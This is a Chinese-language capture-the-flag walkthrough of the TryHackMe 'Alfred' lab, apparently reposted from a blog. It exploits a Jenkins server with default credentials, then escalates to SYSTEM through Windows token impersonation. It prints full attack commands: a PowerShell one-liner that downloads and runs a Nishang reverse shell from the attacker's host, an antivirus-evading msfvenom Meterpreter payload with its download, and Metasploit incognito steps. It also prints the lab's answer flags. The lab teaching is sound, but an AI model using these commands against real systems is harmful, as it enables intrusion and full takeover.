首页 > 其他分享 >TryHackMe - Alfred

TryHackMe - Alfred

时间:2024-03-25 22:32:45浏览次数:27  
标签:令牌 shell Windows exe Alfred 使用 权限 TryHackMe

本文相关TryHackMe实验房间链接:TryHackMe | Why Subscribe

本文相关介绍:本次实验我们将学习如何利用Jenkins的错误配置来获取目标的初始shell,然后再利用Windows身份验证令牌(tokens)执行权限提升。
 

本次实验目标IP:10.10.152.218

Task 1 - Initial Access (初始访问)

利用广泛使用的自动化服务器上​​的常见错误配置(Jenkins - 该工具用于创建持续集成/持续开发管道,允许开发人员在对其代码进行更改后自动部署代码)。之后,我们将使用一种有趣的权限升级方法来获得完整的系统访问权限。 

由于这是一个 Windows 应用程序,我们将使用Nishang 来获得初始访问权限。该存储库包含一组有用的脚本,用于初始访问、枚举和权限升级。在本例中,我们将使用反向 shell 脚本

注意:该计算机不响应 ping (ICMP),并且可能需要几分钟才能启动

1、nmap扫描

nmap -sC -sV -Pn 10.10.152.218

目标开放3个端口:80、3389、8080

访问目标的8080端口,发现Jenkins登陆页面,尝试弱口令admin/admin 登录成功(也可以使用Hydra或者burp进行爆破):

弱口令:admin/admin

目标机上的Jenkins服务器存在一些配置的错误,让我们可以直接在后台执行代码:

  1. 进入Manage Jenkins(管理 Jenkins)—Script Console(脚本控制台)页面。
  2. 在脚本控制台页面输入:println "whoami".execute().text 。

2、反弹shell

修改以下payload备用(先修改后面再使用),该payload将在目标机上被执行,它能够将(来自于攻击机的)反向shell脚本下载到目标机上并完成脚本执行操作:

powershell iex (New-Object Net.WebClient).DownloadString('http://10.2.3.117:8888/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.2.3.117 -Port 1234 
# 修改为自己攻击机的IP(本地攻击机的tun0地址)和端口。
# 最后指定的端口为Netcat监听器端口。

注意:先在攻击机上使用python创建一个简易的HTTP服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载,然后在Jenkins后台中找到一个功能点 以便我们能够下载攻击机上的shell脚本并执行

命令执行页面的具体步骤:先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。

点击Build now

在攻击机上安装nishang :sudo apt install nishang 。进入nishang/Shells目录(/usr/share/nishang/Shells),在此目录下使用python创建一个HTTP服务器以便进行 反向shell脚本文件传输。

sudo apt install nishang
cd /usr/share/nishang/Shells
python3 -m http.server 8888

3、设置监听器

同时在攻击机上创建另一终端,设置Netcat监听器以便接收反向shell

最后在Jenkins后台窗口粘贴我们前面修改好的payload,点击Apply应用项目并自动保存,再返回Build页面点击Build now运行项目(这样就能成功执行payload)。

4、获取user flag

回到攻击机上设置Netcat的终端界面,发现已经成功建立一个可操作目标机的反向shell,使用该反向shell界面进入目标机的目录(C:\Users\bruce\Desktop), 获取user flag

cd C:\Users\bruce\Desktop
dir
more user.txt

79007a09481963edf2e1321abd9ae2a0

5、答题卡


Task 2 - Switching Shells (切换shell)

为了使权限升级更容易,让我们使用以下过程切换到 meterpreter shell。

使用 msfvenom 使用以下有效负载创建 Windows meterpreter 反向 shell。

1、攻击前准备

需要再开启2个独立的终端窗口来完成攻击:

2、反弹shell

第一步:  终端2 --> 使用 msfvenom 创建一个能让Windows Meterpreter 反向shell的exe文件:

# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe 

以上有效载荷将生成一个经过编码处理的 x86-64 反向 tcp meterpreter shell文件,使用编码处理在一定程度上可以确保所生成的shell文件能够被正确传输,并且还可以逃避一些反病毒软件

我生成的exe:

# 注意修改端口、IP和shell文件名称
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.2.3.117 LPORT=5555 -f exe -o shell.exe 

第二步:终端2 --> 把生成的exe文件转移到nishang/Shells目录下,在nishang/Shells目录下创建http服务(python3 -m http.server 8888

大小为:73802

# 修改IP和端口
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.2.3.117:8888/shell.exe','shell.exe')"

进入终端1 :(之前Task1获取的普通反向shell界面),运行以上命令:以上命令会下载攻击机中的指定exe文件到目标机上(也可以使用与上个任务相同的方式来下载exe文件至目标机)

3、开启监听

第三步: 终端3 --> 用于设置MSF监听器,命令如下:

msfconsole -q     //进入MSF
use exploit/multi/handler   //进入监听模块
set PAYLOAD windows/meterpreter/reverse_tcp   //设置payload
set LHOST 10.2.3.117    //设置攻击机ip(tun0)
set LPORT 5555    //监听端口
run      //执行命令

再次进入终端1 :(之前获取的普通反向shell界面),输入命令Start-Process "shell.exe" 在目标机上执行exe文件,此时,在终端3(设置MSF监听器的终端)界面可以看到已经获得一个Meterpreter shell。

4、答题卡


Task 3 - Privilege Escalation (权限提升)

1、简介

现在我们有了初始访问权限,我们就可以尝试使用令牌模拟来获得system访问权限(system权限是Windows系统中的最高级别权限)。Windows 可以使用令牌来确保某个账户具有执行特定操作的正确权限,当用户成功登录或通过身份验证机制时,账户令牌(tokens )就会被分配给账户,这通常由 LSASS.exe 完成(你可以将其视为一个身份验证进程)。

此访问令牌包括以下信息:

  • user SIDs(security identifier)
  • group SIDs
  • privileges

除其他事项外,更详细的信息请参考:Access Tokens - Win32 apps | Microsoft Learn

有两种类型的访问令牌:

  • 主访问令牌(primary access tokens):此类令牌是指与登录时所生成的用户账户相关联的令牌。
  • 模拟令牌(impersonation tokens):此类令牌能够允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问相关的资源。

对于模拟令牌,有不同的级别:

  • SecurityAnonymous:当前用户/客户端无法冒充其他用户/客户端
  • SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
  • SecurityImpersonation:当前用户/客户端可以模拟本地系统上客户端的安全上下文
  • SecurityDelegation:当前用户/客户端可以模拟远程系统上客户端的安全上下文

其中安全上下文是包含用户相关安全信息的数据结构。

帐户的权限(在创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:

  • 冒充特权
  • SeAssignPrimaryPrivilege
  • SeTcb特权
  • SeBackup权限
  • Se恢复权限
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilegy
  • SeTake所有权特权
  • SeDebug权限

更多关于令牌特权滥用的信息请参考:Abusing Token Privileges For LPE

2、攻击

首先,使用Meterpreter shell进入普通shell界面,输入相关命令以查看我们当前在目标机上的全部权限。

终端3 :

可以看到目标机启用了两个关键权限(SeDebugPrivilege、SeImpersonatePrivilege),这两个权限能够让我们使用MSF中的模块来进行令牌模拟操作

退出之前的普通shell界面(ctrl+c或者exit),在Meterpreter shell界面加载MSF中的incognito模块(使用命令load incognito),如果相关命令不起作用,可以尝试更新MSF或者先使用use incognito命令。

模块加载完成之后 输入list_tokens -g命令检查哪些令牌可用,我们发现BUILTIN\Administrators令牌可用,所以我们可以模拟管理员令牌,模拟完成后,再运行getuid命令,可以看到此时我们的uid已经变更为SYSTEM的uid,说明模拟令牌成功。

load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"
getuid

当前的uid:NT AUTHORITY\SYSTEM

3、进程迁移

即使我们现在拥有更高特权的令牌(token ),但也可能没有对应的特权用户的权限(由于 Windows 处理权限的方式 - Windows会使用主令牌而不是模拟令牌来确定某个进程的权限分配情况);所以我们还需要迁移到有正确权限的进程

我们可以选择迁移到最安全的services.exe进程:首先使用ps命令查看所有进程,找到services.exe进程的PID,然后使用migrate PID-OF-PROCESS迁移到目标进程,具体命令如下:

getpid       # 查看当前进程pid
ps           # 查看所有的进程
migrate 668  # 迁移到services.exe进程 需指定目标进程的PID号

4、flag读取

进程迁移成功,进入目标机的目录,输入命令search -f root.txt获取最终flag即可(flag路径为:C:\Windows\System32\config\root.txt)。

search -f root.txt
cat "c:\Windows\System32\config\root.txt"

dff0f748678f280250f25a45b8046b4a

5、答题卡

标签:令牌,shell,Windows,exe,Alfred,使用,权限,TryHackMe
From: https://blog.csdn.net/u011373191/article/details/136977946

相关文章

  • tryhackme-Expose(暴露)
    信息收集使用nmap对靶机进行端口扫描这里我在枚举21端口和1883端口并没有获得任何信息,接着访问1337端口进行信息收集什么都没有,接着进行目录扫描这里由于我的wordlists的问题,并没有扫描到想要的目录,不过也扫描到了一些常规的目录通过参考wp,得到目录名为admin_101,其实在/a......
  • tryhackme-Valley(古)
    信息收集首先对靶机进行端口扫描占时扫描到开放端口22和80端口,访问80端口有两个按钮,一个按钮是展示的照片,一个按钮是照片的价格,这里透漏了一些个人信息,例如用户名可能为Valley,他的公司是premire自习观察url得到两个目录pricing和gallery,访问查看访问note.txt并没有......
  • tryhackme-Retro(复古的)
    题目没有给太多的描述,但是根据硬币,复古的得知这是一个像素,复古,FC游戏的爱好者,之前游戏厅里的游戏信息收集首先对靶机进行端口扫描通过扫描得知一共开放80和3389这两个端口访问80端口发现是IIS的默认页面使用gobuster进行目录扫描扫描到/retro目录,访问该页面这里我访问......
  • tryhackme-Anthem(国歌)
    根据题目描述,这是一个让我们练习的简单Windows机器信息收集首先对靶机进行端口扫描加入-Pn参数是因为Windows默认开启防火墙拒绝icmpping数据包根据开放端口80和3389猜测到后续可能会远程连接靶机接着访问80端口进行信息收集根据title和网页标题,可以看出网站的域名为Anth......
  • tryhackme-Source(来源)
    根据题目描述,这是一个webmin的应用程序,虽然没有了解过,可以通过开源信息搜索查看通过官网可以看出,这是一个资源信息态势图信息收集使用nmap进行端口扫描暂时扫描出靶机开放两个端口22和10000端口访问10000端口发现下方提示,说明服务运行在SSLmode,也就是使用https访问进入......
  • tryhackme-Res(资源)
    这是我第一次接触redis,这个题目是最简单的信息收集使用nmap进行端口扫描根据扫描结果,开放了80端口和6379端口(redis)服务对80端口进行目录扫描没有得到任何有用的信息,占时没太大用处根据改题目的描述和题目名称,改题目需要对redis服务进行下手,在网上查找到了redis服务渗透......
  • tryhackme-dogcat(狗猫)
    描述已经说明了这个靶机的一些思路,LFI->提权->突破docker信息收集使用nmap进行端口扫描开放了80和22端口,直接访问80端口这是一个文件包含,通过尝试,发现传参内容中必须含有cat和dog,然后会将传参的最后加入.php,这里我使用%00节点也没有利用成功。尝试目录扫描gobuster......
  • 我们发布了一款类Wox和Alfred,全新的桌面端效率工具RunFlow,欢迎大家来体验
    RunFlow是一款跨平台的生产力工具,可以启动应用程序和搜索文件等,类似于Windows平台的Wox和PowerToys,同样也类似于Mac平台的Alfred和Raycast。但我们并不与这些工具相同,我们有自己独特的新特性。下面,我们将向您详细的介绍RunFlow实现了哪些特性。这是一次奇妙的旅程,让我们开始吧。......
  • tryhackme-Spice Hut(香料小屋)
    信息收集通过开放端口可以发现21端口和80端口可以进行下手,首先对21端口进行匿名用户访问测试登录成功将important.jpg和notice.txt文件下载,ftp目录并没有文件,但是通过权限的观察可以进行写入(也就是上传文件),后续可能用到通过查看notice.txt得到一些管理员的信息,大概意思是不......
  • tryhackme-Mr Robot CTF(机器人先生)
    信息收集根据开放端口,首先对80端口进行信息收集默认在访问80端口的时候会进行一段很炫酷的grup引导,Linux启动的信息,不过没什么用,一个伪终端,这里给了我们几个命令可以使用:试了几个,没有太多有用的信息,感兴趣可以自己试一试,这里直接进行目录扫描gobusterdir-uhttp://10.10.......